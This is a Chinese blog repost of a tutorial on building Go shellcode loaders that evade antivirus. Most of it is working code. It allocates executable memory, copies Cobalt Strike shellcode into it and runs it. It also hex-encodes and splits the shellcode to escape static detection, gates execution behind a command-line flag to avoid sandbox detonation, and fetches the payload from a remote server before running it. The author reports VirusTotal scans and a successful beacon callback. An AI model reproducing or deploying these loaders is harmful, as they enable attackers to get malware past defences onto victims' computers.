GO静态免杀初探

admin 2024年9月28日14:44:48评论14 views字数 4796阅读15分59秒阅读模式

更多全球网络安全资讯尽在邑安全

Go加载器

网上找的Go加载器,最简单的免杀就是将shellcode加密解密,或者远程加载shellcode。

package main

import (
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {

xor_shellcode := []byte{0xfc, 0x48, 0x83, ...}

addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)

}

shellcode加密解密

简单的加密解密,可以把byte[]类型的shellcode->16进制字符串,Go代码如下。

package main

import (
"bytes"
"encoding/hex"
"fmt"
)

func main() {
//[]byte -> string(16进制)
shellcode := []byte{0xfc,0x48,0x83, ...}
s := hex.EncodeToString(shellcode)
fmt.Println(s)

///string(16进制) -> []byte
decode, _ := hex.DecodeString(s)
shellcode2 := decode
fmt.Println(shellcode2)

//比较[]byte类型的 shellcode shellcode2是否相等
fmt.Println(bytes.Compare(shellcode2, shellcode))

}

cs生成.c格式文件。
GO静态免杀初探

用如下python脚本,可以直接转化string(16进制)

GO静态免杀初探

import re

str = ""
with open("payload.c","r") as f:
while True:
line = f.readline()
if not line:
break
line = line.strip('n')
str += line
list1 = re.compile(r'"(.*)"').findall(str)
str2 = ''.join(list1).replace("\x","")
print(str2)

然后替换到加载器上。

package main

import (
"encoding/hex"
"syscall"
"unsafe"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
code = "fc4883e4f0e8c..."//16进制字符串代码
)

func main() {

decode, _ := hex.DecodeString(code)
xor_shellcode := decode

addr, _, err := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)

}

这样子还是不行的,可以把shellcode变量拆分成几个变量再拼接,再加上参数执行,避免上传到杀软时直接执行,cs上线一堆...

package main

import (
"encoding/hex"
"syscall"
"unsafe"
"flag"
)

const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
code = "fc4883e4f0e8c8000000415141505"
code2 = "251564831d265488b5260488b5218488b5220488b725"

)

func main() {
code3 := "0480fb74a4a4d31c94831c0ac3c617c022c2..."

decode, _ := hex.DecodeString(code+code2+code3)
xor_shellcode := decode

addr, _, _ := VirtualAlloc.Call(0, uintptr(len(xor_shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)



//demo.exe -c run
var c string
args := flag.String("c", "宝宝巴士", "执行")
flag.Parse()
c = *args

if c == "run" {
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&xor_shellcode[0])), uintptr(len(xor_shellcode)))
syscall.Syscall(addr, 0, 0, 0, 0)
}


}

我这里使用的go build编译大小近2m,vt杀毒。

GO静态免杀初探

执行demo.exe -c run, cs上线
GO静态免杀初探

远程加载shellcode

使用resty库,一个远程读取txt文本例子。

package main

import (

"fmt"
"github.com/go-resty/resty/v2"

)

func main() {
client := resty.New()
resp, _ := client.R().EnableTrace().Get("http://127.0.0.1/1.txt")
str := resp.Body()
body := string(str)
fmt.Println(body)
}

go build 编译后大小近7m。

GO静态免杀初探

使用go的net/http包,一个远程读取txt文本例子。

package main

import (
"fmt"
"io/ioutil"
"net/http"
)


func main() {
url := "http://127.0.0.1/1.txt"
resp, err := http.Get(url)
if err != nil {
fmt.Println(err)
}
defer resp.Body.Close()

respData, err := ioutil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
}

respString := string(respData)

fmt.Println(respString)


}

go build 编译后大小近6m。

GO静态免杀初探

思路将16进制字符串的shellcode上传到服务器1.txt,加载器内使用net/http包远程加载shellcode。

package main

import (
"encoding/hex"
"flag"
"syscall"
"unsafe"
"io/ioutil"
"net/http"

)

var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
url = "http://127.0.0.1/1.txt"
)

func main() {


resp, _ := http.Get(url)

defer resp.Body.Close()

respData, _ := ioutil.ReadAll(resp.Body)

respString := string(respData)

decode, _ := hex.DecodeString(respString)
shellcode2 := decode

addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode2)), 0x1000|0x2000, 0x40)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode2[0])), uintptr(len(shellcode2)))

//load.exe -c run
var c string
args := flag.String("c", "have", "fun")
flag.Parse()
c = *args

if c == "run" {
syscall.Syscall(addr, 0, 0, 0, 0)
}

}

go build编译后,vt杀毒测试

GO静态免杀初探

总结

加密方便有待加强,使用Base64、凯撒密码等,伪动态加密shellcode,远程下载可以把文件分到几个文本上读取,也可也一半编码在加载器一半远程读取,最好的还是自己写加载器,不过需要二进制基础。

原文来自: 先知社区

原文链接: https://xz.aliyun.com/t/10296

原文始发于微信公众号(邑安全):GO静态免杀初探

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月28日14:44:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   GO静态免杀初探https://cn-sec.com/archives/575594.html

发表评论

匿名网友 填写信息